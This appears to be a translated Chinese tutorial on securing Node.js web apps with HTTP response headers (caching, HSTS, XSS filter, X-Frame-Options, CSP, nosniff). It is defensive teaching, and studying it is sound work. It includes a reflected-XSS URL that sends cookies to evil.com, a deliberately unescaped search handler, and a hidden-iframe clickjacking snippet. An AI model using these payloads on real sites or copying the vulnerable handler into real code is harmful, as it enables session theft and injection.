如何使用 HTTP Headers 來(lái)保護(hù)你的 Web 應(yīng)用
眾所周知,無(wú)論是簡(jiǎn)單的小網(wǎng)頁(yè)還是復(fù)雜的單頁(yè)應(yīng)用,Web 應(yīng)用都是網(wǎng)絡(luò)攻擊的目標(biāo)。2016 年,這種最主要的攻擊模式 —— 攻擊 web 應(yīng)用,造成了大約 40% 的數(shù)據(jù)泄露。事實(shí)上,現(xiàn)在來(lái)說(shuō),了解網(wǎng)絡(luò)安全并不是錦上添花,而是 Web 開(kāi)發(fā)者的必需任務(wù),特別對(duì)于構(gòu)建面向消費(fèi)者的產(chǎn)品的開(kāi)發(fā)人員。
開(kāi)發(fā)者可以利用 HTTP 響應(yīng)頭來(lái)加強(qiáng) Web 應(yīng)用程序的安全性,通常只需要添加幾行代碼即可。本文將介紹 web 開(kāi)發(fā)者如何利用 HTTP Headers 來(lái)構(gòu)建安全的應(yīng)用。雖然本文的示例代碼是 Node.js,但基本所有主流的服務(wù)端語(yǔ)言都支持設(shè)置 HTTP 響應(yīng)頭,并且都可以簡(jiǎn)單地對(duì)其進(jìn)行配置。
關(guān)于 HTTP Headers
技術(shù)上來(lái)說(shuō),HTTP 頭只是簡(jiǎn)單的字段,以明文形式編碼,它是 HTTP 請(qǐng)求和響應(yīng)消息頭的一部分。它們旨在使客戶(hù)端和服務(wù)端都能夠發(fā)送和接受有關(guān)要建立的連接、所請(qǐng)求的資源,以及返回的資源本身的元數(shù)據(jù)。
可以簡(jiǎn)單地使用 cURL --head 來(lái)檢查純文本 HTTP 響應(yīng)頭,例如:
- $ curl --head https://www.google.com
- HTTP/1.1 200 OK
- Date: Thu, 05 Jan 2017 08:20:29 GMT
- Expires: -1
- Cache-Control: private, max-age=0
- Content-Type: text/html; charset=ISO-8859-1
- Transfer-Encoding: chunked
- Accept-Ranges: none
- Vary: Accept-Encoding
- …
現(xiàn)在,數(shù)百種響應(yīng)頭正在被 web 應(yīng)用所使用,其中一部分由互聯(lián)網(wǎng)工程任務(wù)組(IETF)標(biāo)準(zhǔn)化。IETF 是一個(gè)開(kāi)放性組織,今天我們所熟知的許多 web 標(biāo)準(zhǔn)和專(zhuān)利都是由他們推進(jìn)的。HTTP 頭提供了一種靈活可擴(kuò)展的機(jī)制,造就了現(xiàn)今的網(wǎng)絡(luò)各種豐富多變的用例。
機(jī)密資源禁用緩存
緩存是優(yōu)化客戶(hù)端-服務(wù)端架構(gòu)性能中有效的技術(shù),HTTP 也不例外,同樣廣泛利用了緩存技術(shù)。但是,在緩存的資源是保密的情況下,緩存可能導(dǎo)致漏洞,所以必須避免。假設(shè)一個(gè) web 應(yīng)用對(duì)含有敏感信息的網(wǎng)頁(yè)進(jìn)行緩存,并且是在一臺(tái)公用的 PC 上使用,任何人可以通過(guò)訪(fǎng)問(wèn)瀏覽器的緩存看到這個(gè) web 應(yīng)用上的敏感信息,甚至有時(shí)僅僅通過(guò)點(diǎn)擊瀏覽器的返回按鈕就可以看到。
IETF RFC 7234 中定義了 HTTP 緩存,指定 HTTP 客戶(hù)端(瀏覽器以及網(wǎng)絡(luò)代理)的默認(rèn)行為:除非另行指定,否則始終緩存對(duì) HTTP GET 請(qǐng)求的響應(yīng)。雖然這樣可以使 HTTP 提升性能減少網(wǎng)絡(luò)擁塞,但如上所述,它也有可能使終端用戶(hù)個(gè)人信息被盜。好消息是,HTTP 規(guī)范還定義了一種非常簡(jiǎn)單的方式來(lái)指示客戶(hù)端對(duì)特定響應(yīng)不進(jìn)行緩存,通過(guò)使用 —— 對(duì),你猜到了 —— HTTP 響應(yīng)頭。
當(dāng)你準(zhǔn)備返回敏感信息并希望禁用 HTTP 客戶(hù)端的緩存時(shí),有三個(gè)響應(yīng)頭可以返回:
- Cache-Control
從 HTTP 1.1 引入的此響應(yīng)頭可能包含一個(gè)或多個(gè)指令,每個(gè)指令帶有特定的緩存語(yǔ)義,指示 HTTP 客戶(hù)端和代理如何處理有此響應(yīng)頭注釋的響應(yīng)。我推薦如下指定響應(yīng)頭,cache-control: no-cache, no-store, must-revalidate。這三個(gè)指令基本上可以指示客戶(hù)端和中間代理不可使用之前緩存的響應(yīng),不可存儲(chǔ)響應(yīng),甚至就算響應(yīng)被緩存,也必須從源服務(wù)器上重新驗(yàn)證。
- Pragma: no-cache
為了向后兼容 HTTP 1.0,你還需要包含此響應(yīng)頭。有部分客戶(hù)端,特別是中間代理,可能仍然沒(méi)有完全支持 HTTP 1.1,所以不能正確處理前面提到的 Cache-Control 響應(yīng)頭,因此使用 Pragma: no-cache 確保較舊的客戶(hù)端不緩存你的響應(yīng)。
- Expires: -1
此響應(yīng)頭指定了該響應(yīng)過(guò)期的時(shí)間戳。如果不指定為未來(lái)某個(gè)真實(shí)時(shí)間而指定為 -1,可以保證客戶(hù)端立即將此響應(yīng)視為過(guò)期并避免緩存。
需要注意的是,禁用緩存提高安全性及保護(hù)機(jī)密資源的同時(shí),也的確會(huì)帶來(lái)性能上的折損。所以確保僅對(duì)實(shí)際需要保密性的資源禁用緩存,而不是對(duì)服務(wù)器的任何響應(yīng)禁用。想要更深入了解 web 資源緩存的最佳實(shí)踐,我推薦閱讀 Jake Archibald 的文章。
下面是 Node.js 中設(shè)置響應(yīng)頭的示例代碼:
- function requestHandler(req, res) {
- res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
- res.setHeader('Pragma','no-cache');
- res.setHeader('Expires','-1');
- }
強(qiáng)制 HTTPS
今天,HTTPS 的重要性已經(jīng)得到了技術(shù)界的廣泛認(rèn)可。越來(lái)越多的 web 應(yīng)用配置了安全端點(diǎn),并將不安全網(wǎng)路重定向到安全端點(diǎn)(即 HTTP 重定向至 HTTPS)。不幸的是,終端用戶(hù)還未完全理解 HTTPS 的重要性,這種缺乏理解使他們面臨著各種中間人攻擊(MitM)。普通用戶(hù)訪(fǎng)問(wèn)到一個(gè) web 應(yīng)用時(shí),并不會(huì)注意到正在使用的網(wǎng)絡(luò)協(xié)議是安全的(HTTPS)還是不安全的(HTTP)。甚至,當(dāng)瀏覽器出現(xiàn)了證書(shū)錯(cuò)誤或警告時(shí),很多用戶(hù)會(huì)直接點(diǎn)擊略過(guò)警告。
與 web 應(yīng)用進(jìn)行交互時(shí),通過(guò)有效的 HTTPS 連接是非常重要的:不安全的連接將會(huì)使得用戶(hù)暴露在各種攻擊之下,這可能導(dǎo)致 cookie 被盜甚至更糟。舉個(gè)例子,攻擊者可以在公共 Wi-Fi 網(wǎng)絡(luò)下輕易騙取網(wǎng)絡(luò)幀并提取那些不使用 HTTPS 的用戶(hù)的會(huì)話(huà) cookie。更糟的情況是,即使用戶(hù)通過(guò)安全連接與 web 應(yīng)用進(jìn)行交互也可能遭受降級(jí)攻擊,這種攻擊試圖強(qiáng)制將連接降級(jí)到不安全的連接,從而使用戶(hù)受到中間人攻擊。
我們?nèi)绾螏椭脩?hù)避免這些攻擊,并更好地推行 HTTPS 的使用呢?使用 HTTP 嚴(yán)格傳輸安全頭(HSTS)。簡(jiǎn)單來(lái)說(shuō),HSTS 確保與源主機(jī)間的所有通信都使用 HTTPS。RFC 6797 中說(shuō)明了,HSTS 可以使 web 應(yīng)用程序指示瀏覽器僅允許與源主機(jī)之間的 HTTPS 連接,將所有不安全的連接內(nèi)部重定向到安全連接,并自動(dòng)將所有不安全的資源請(qǐng)求升級(jí)為安全請(qǐng)求。
HSTS 的指令如下:
- max-age=
此項(xiàng)指示瀏覽器對(duì)此域緩存此響應(yīng)頭指定的秒數(shù)。這樣可以保證長(zhǎng)時(shí)間的加固安全。
- includeSubDomains
此項(xiàng)指示瀏覽器對(duì)當(dāng)前域的所有子域應(yīng)用 HSTS,這可以用于所有當(dāng)前和未來(lái)可能的子域。
- preload
這是一個(gè)強(qiáng)大的指令,強(qiáng)制瀏覽器始終安全加載你的 web 應(yīng)用程序,即使是第一次收到響應(yīng)之前加載!這是通過(guò)將啟用 HSTS 預(yù)加載域的列表硬編碼到瀏覽器的代碼中實(shí)現(xiàn)的。要啟用預(yù)加載功能,你需要在 Google Chrome 團(tuán)隊(duì)維護(hù)的網(wǎng)站 HSTS 預(yù)加載列表提交注冊(cè)你的域。
注意謹(jǐn)慎使用 preload,因?yàn)檫@意味著它不能輕易撤銷(xiāo),并可能更新延遲數(shù)個(gè)月。雖然預(yù)加載肯定會(huì)加強(qiáng)應(yīng)用程序的安全性,但也意味著你需要充分確信你的應(yīng)用程序僅支持 HTTPS!
我建議的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;,這樣指示了瀏覽器強(qiáng)制通過(guò) HTTPS 連接到源主機(jī)并且有效期為一年。如果你對(duì)你的 app 僅處理 HTTPS 很有信心,我也推薦加上 preload 指令,當(dāng)然別忘記去前面提到的預(yù)加載列表注冊(cè)你的網(wǎng)站。
以下是在 Nodes.js 中實(shí)現(xiàn) HSTS 的方法:
- function requestHandler(req, res){
- res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
- }
啟用 XSS 過(guò)濾
在反射型跨站腳本攻擊(reflected XSS)中,攻擊者將惡意 JavaScript 代碼注入到 HTTP 請(qǐng)求,注入的代碼「映射」到響應(yīng)中,并由瀏覽器執(zhí)行,從而使惡意代碼在可信任的上下文中執(zhí)行,訪(fǎng)問(wèn)諸如會(huì)話(huà) cookie 中的潛在機(jī)密信息。不幸的是,XSS 是一個(gè)很常見(jiàn)的網(wǎng)絡(luò)應(yīng)用攻擊,且令人驚訝地有效!
為了了解反射型 XSS 攻擊,參考以下 Node.js 代碼,渲染 mywebapp.com,模擬一個(gè)簡(jiǎn)單的 web 應(yīng)用程序,它將搜索結(jié)果以及用戶(hù)請(qǐng)求的搜索關(guān)鍵詞一起呈現(xiàn):
- function handleRequest(req, res) {
- res.writeHead(200);
- // Get the search term
- const parsedUrl = require('url').parse(req.url);
- const searchTerm = decodeURI(parsedUrl.query);
- const resultSet = search(searchTerm);
- // Render the document
- res.end(
- "<html>" +
- "<body>" +
- "<p>You searched for: " + searchTerm + "</p>" +
- // Search results rendering goes here…
- "</body>" +
- "</html>");
- };
現(xiàn)在,來(lái)考慮一下上面的 web 應(yīng)用程序會(huì)如何處理在 URL 中嵌入的惡意可執(zhí)行代碼,例如:
- https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
你可能意識(shí)到了,這個(gè) URL 會(huì)讓瀏覽器執(zhí)行注入的腳本,并發(fā)送極有可能包含機(jī)密會(huì)話(huà)的用戶(hù) cookies 到 evil.com。
為了保護(hù)用戶(hù)抵抗反射型 XSS 攻擊,有些瀏覽器實(shí)施了保護(hù)機(jī)制。這些保護(hù)機(jī)制嘗試通過(guò)在 HTTP 請(qǐng)求和響應(yīng)中尋找匹配的代碼模式來(lái)辨識(shí)這些攻擊。Internet Explorer 是第一個(gè)推出這種機(jī)制的,在 2008 年的 IE 8 中引入了 XSS 過(guò)濾器的機(jī)制,而 WebKit 后來(lái)推出了 XSS 審計(jì),現(xiàn)今在 Chrome 和 Safari 上可用(Firefox 沒(méi)有內(nèi)置類(lèi)似的機(jī)制,但是用戶(hù)可以使用插件來(lái)獲得此功能)。這些保護(hù)機(jī)制并不完美,它們可能無(wú)法檢測(cè)到真正的 XSS 攻擊(漏報(bào)),在其他情況可能會(huì)阻止合法代碼(誤判)。由于后一種情況的出現(xiàn),瀏覽器允許用戶(hù)可設(shè)置禁用 XSS 過(guò)濾功能。不幸的是,這通常是一個(gè)全局設(shè)置,這會(huì)完全關(guān)閉所有瀏覽器加載的 web 應(yīng)用程序的安全功能。
幸運(yùn)的是,有方法可以讓 web 應(yīng)用覆蓋此配置,并確保瀏覽器加載的 web 應(yīng)用已打開(kāi) XSS 過(guò)濾器。即通過(guò)設(shè)定 X-XSS-Protection 響應(yīng)頭實(shí)現(xiàn)。此響應(yīng)頭支持 Internet Explorer(IE8 以上)、Edge、Chrome 和 Safari,指示瀏覽器打開(kāi)或關(guān)閉內(nèi)置的保護(hù)機(jī)制,及覆蓋瀏覽器的本地配置。
X-XSS-Protection 指令包括:
- 1 或者 0
使用或禁用 XSS 過(guò)濾器。
- mode=block
當(dāng)檢測(cè)到 XSS 攻擊時(shí),這會(huì)指示瀏覽器不渲染整個(gè)頁(yè)面。
我建議永遠(yuǎn)打開(kāi) XSS 過(guò)濾器以及 block 模式,以求最大化保護(hù)用戶(hù)。這樣的響應(yīng)頭應(yīng)該是這樣的:
- X-XSS-Protection: 1; mode=block
以下是在 Node.js 中配置此響應(yīng)頭的方法:
- function requestHandler(req, res){
- res.setHeader('X-XSS-Protection','1;mode=block');}
控制 iframe
iframe (正式來(lái)說(shuō),是 HTML 內(nèi)聯(lián)框架元素)是一個(gè) DOM 元素,它允許一個(gè) web 應(yīng)用嵌套在另一個(gè) web 應(yīng)用中。這個(gè)強(qiáng)大的元素有部分重要的使用場(chǎng)景,比如在 web 應(yīng)用中嵌入第三方內(nèi)容,但它也有重大的缺點(diǎn),例如對(duì) SEO 不友好,對(duì)瀏覽器導(dǎo)航跳轉(zhuǎn)也不友好等等。
其中一個(gè)需要注意的事是它使得點(diǎn)擊劫持變得更加容易。點(diǎn)擊劫持是一種誘使用戶(hù)點(diǎn)擊并非他們想要點(diǎn)擊的目標(biāo)的攻擊。要理解一個(gè)簡(jiǎn)單的劫持實(shí)現(xiàn),參考以下 HTML,當(dāng)用戶(hù)認(rèn)為他們點(diǎn)擊可以獲得獎(jiǎng)品時(shí),實(shí)際上是試圖欺騙用戶(hù)購(gòu)買(mǎi)面包機(jī)。
- <html>
- <body>
- <button class='some-class'>Win a Prize!</button>
- <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
- </body>
- </html>
有許多惡意應(yīng)用程序都采用了點(diǎn)擊劫持,例如誘導(dǎo)用戶(hù)點(diǎn)贊,在線(xiàn)購(gòu)買(mǎi)商品,甚至提交機(jī)密信息。惡意 web 應(yīng)用程序可以通過(guò)在其惡意應(yīng)用中嵌入合法的 web 應(yīng)用來(lái)利用 iframe 進(jìn)行點(diǎn)擊劫持,這可以通過(guò)設(shè)置 opacity: 0 的 CSS 規(guī)則將其隱藏,并將 iframe 的點(diǎn)擊目標(biāo)直接放置在看起來(lái)無(wú)辜的按鈕之上。點(diǎn)擊了這個(gè)無(wú)害按鈕的用戶(hù)會(huì)直接點(diǎn)擊在嵌入的 web 應(yīng)用上,并不知道點(diǎn)擊后的后果。
阻止這種攻擊的一種有效的方法是限制你的 web 應(yīng)用被框架化。在 RFC 7034 中引入的 X-Frame-Options,就是設(shè)計(jì)用來(lái)做這件事的。此響應(yīng)頭指示瀏覽器對(duì)你的 web 應(yīng)用是否可以被嵌入另一個(gè)網(wǎng)頁(yè)進(jìn)行限制,從而阻止惡意網(wǎng)頁(yè)欺騙用戶(hù)調(diào)用你的應(yīng)用程序進(jìn)行各項(xiàng)操作。你可以使用 DENY 完全屏蔽,或者使用 ALLOW-FROM 指令將特定域列入白名單,也可以使用 SAMEORIGIN 指令將應(yīng)用的源地址列入白名單。
我的建議是使用 SAMEORIGIN 指令,因?yàn)樗试S iframe 被同域的應(yīng)用程序所使用,這有時(shí)是有用的。以下是響應(yīng)頭的示例:
- X-Frame-Options: SAMEORIGIN
以下是在 Node.js 中設(shè)置此響應(yīng)頭的示例代碼:
- function requestHandler(req, res){
- res.setHeader('X-Frame-Options','SAMEORIGIN');}
指定白名單資源
如前所述,你可以通過(guò)啟用瀏覽器的 XSS 過(guò)濾器,給你的 web 應(yīng)用程序增強(qiáng)安全性。然而請(qǐng)注意,這種機(jī)制是有局限性的,不是所有瀏覽器都支持(例如 Firefox 就不支持 XSS 過(guò)濾),并且依賴(lài)的模式匹配技術(shù)可以被欺騙。
對(duì)抗 XSS 和其他攻擊的另一層的保護(hù),可以通過(guò)明確列出可信來(lái)源和操作來(lái)實(shí)現(xiàn) —— 這就是內(nèi)容安全策略(CSP)。
CSP 是一種 W3C 規(guī)范,它定義了強(qiáng)大的基于瀏覽器的安全機(jī)制,可以對(duì) web 應(yīng)用中的資源加載以及腳本執(zhí)行進(jìn)行精細(xì)的控制。使用 CSP 可以將特定的域加入白名單進(jìn)行腳本加載、AJAX 調(diào)用、圖像加載和樣式加載等操作。你可以啟用或禁用內(nèi)聯(lián)腳本或動(dòng)態(tài)腳本(臭名昭著的 eval),并通過(guò)將特定域列入白名單來(lái)控制框架化。CSP 的另一個(gè)很酷的功能是它允許配置實(shí)時(shí)報(bào)告目標(biāo),以便實(shí)時(shí)監(jiān)控應(yīng)用程序進(jìn)行 CSP 阻止操作。
這種對(duì)資源加載和腳本執(zhí)行的明確的白名單提供了很強(qiáng)的安全性,在很多情況下都可以防范攻擊。例如,使用 CSP 禁止內(nèi)聯(lián)腳本,你可以防范很多反射型 XSS 攻擊,因?yàn)樗鼈円蕾?lài)于將內(nèi)聯(lián)腳本注入到 DOM。
CSP 是一個(gè)相對(duì)復(fù)雜的響應(yīng)頭,它有很多種指令,在這里我不詳細(xì)展開(kāi)了,可以參考 HTML5 Rocks 里一篇很棒的教程,其中提供了 CSP 的概述,我非常推薦閱讀它來(lái)學(xué)習(xí)如何在你的 web 應(yīng)用中使用 CSP。
以下是一個(gè)設(shè)置 CSP 的示例代碼,它僅允許從應(yīng)用程序的源域加載腳本,并阻止動(dòng)態(tài)腳本的執(zhí)行(eval)以及內(nèi)嵌腳本(當(dāng)然,還是 Node.js):
- function requestHandler(req, res){
- res.setHeader('Content-Security-Policy',"script-src 'self'");}
防止 Content-Type 嗅探
為了使用戶(hù)體驗(yàn)盡可能無(wú)縫,許多瀏覽器實(shí)現(xiàn)了一個(gè)功能叫內(nèi)容類(lèi)型嗅探,或者 MIME 嗅探。這個(gè)功能使得瀏覽器可以通過(guò)「嗅探」實(shí)際 HTTP 響應(yīng)的資源的內(nèi)容直接檢測(cè)到資源的類(lèi)型,無(wú)視響應(yīng)頭中 Content-Type 指定的資源類(lèi)型。雖然這個(gè)功能在某些情況下確實(shí)是有用的,它引入了一個(gè)漏洞以及一種叫 MIME 類(lèi)型混淆攻擊的攻擊手法。MIME 嗅探漏洞使攻擊者可以注入惡意資源,例如惡意腳本,偽裝成一個(gè)無(wú)害的資源,例如一張圖片。通過(guò) MIME 嗅探,瀏覽器將忽略聲明的圖像內(nèi)容類(lèi)型,它不會(huì)渲染圖片,而是執(zhí)行惡意腳本。
幸運(yùn)的是,X-Content-Type-Options 響應(yīng)頭緩解了這個(gè)漏洞。此響應(yīng)頭在 2008 年引入 IE8,目前大多數(shù)主流瀏覽器都支持(Safari 是唯一不支持的主流瀏覽器),它指示瀏覽器在處理獲取的資源時(shí)不使用嗅探。因?yàn)? X-Content-Type-Options 僅在 「Fetch」規(guī)范中正式指定,實(shí)際的實(shí)現(xiàn)因?yàn)g覽器而異。一部分瀏覽器(IE 和 Edge)完全阻止了 MIME 嗅探,而其他一些(Firefox)仍然會(huì)進(jìn)行 MIME 嗅探,但會(huì)屏蔽掉可執(zhí)行的資源(JavaScript 和 CSS)如果聲明的內(nèi)容類(lèi)型與實(shí)際的類(lèi)型不一致。后者符合最新的 Fetch 規(guī)范。
- X-Content-Type-Options 是一個(gè)很簡(jiǎn)單的響應(yīng)頭,它只有一個(gè)指令,nosniff。它是這樣指定的:X-Content-Type-Options: nosniff。以下是示例代碼:
- function requestHandler(req, res){ res.setHeader('X-Content-Type-Options','nosniff');}
總結(jié)
本文中,我們了解了如何利用 HTTP 響應(yīng)頭來(lái)加強(qiáng) web 應(yīng)用的安全性,防止攻擊和減輕漏洞。
要點(diǎn)
- 使用 Cache-Control 禁用對(duì)機(jī)密信息的緩存
- 通過(guò) Strict-Transport-Security 強(qiáng)制使用 HTTPS,并將你的域添加到 Chrome 預(yù)加載列表
- 利用 X-XSS-Protection 使你的 web 應(yīng)用更加能抵抗 XSS 攻擊
- 使用 X-Frame-Options 阻止點(diǎn)擊劫持
- 利用 Content-Security-Policy 將特定來(lái)源與端點(diǎn)列入白名單
- 使用 X-Content-Type-Options 防止 MIME 嗅探攻擊
請(qǐng)記住,為了使 web 真正迷人,它必須是安全的。利用 HTTP 響應(yīng)頭構(gòu)建更加安全的網(wǎng)頁(yè)吧!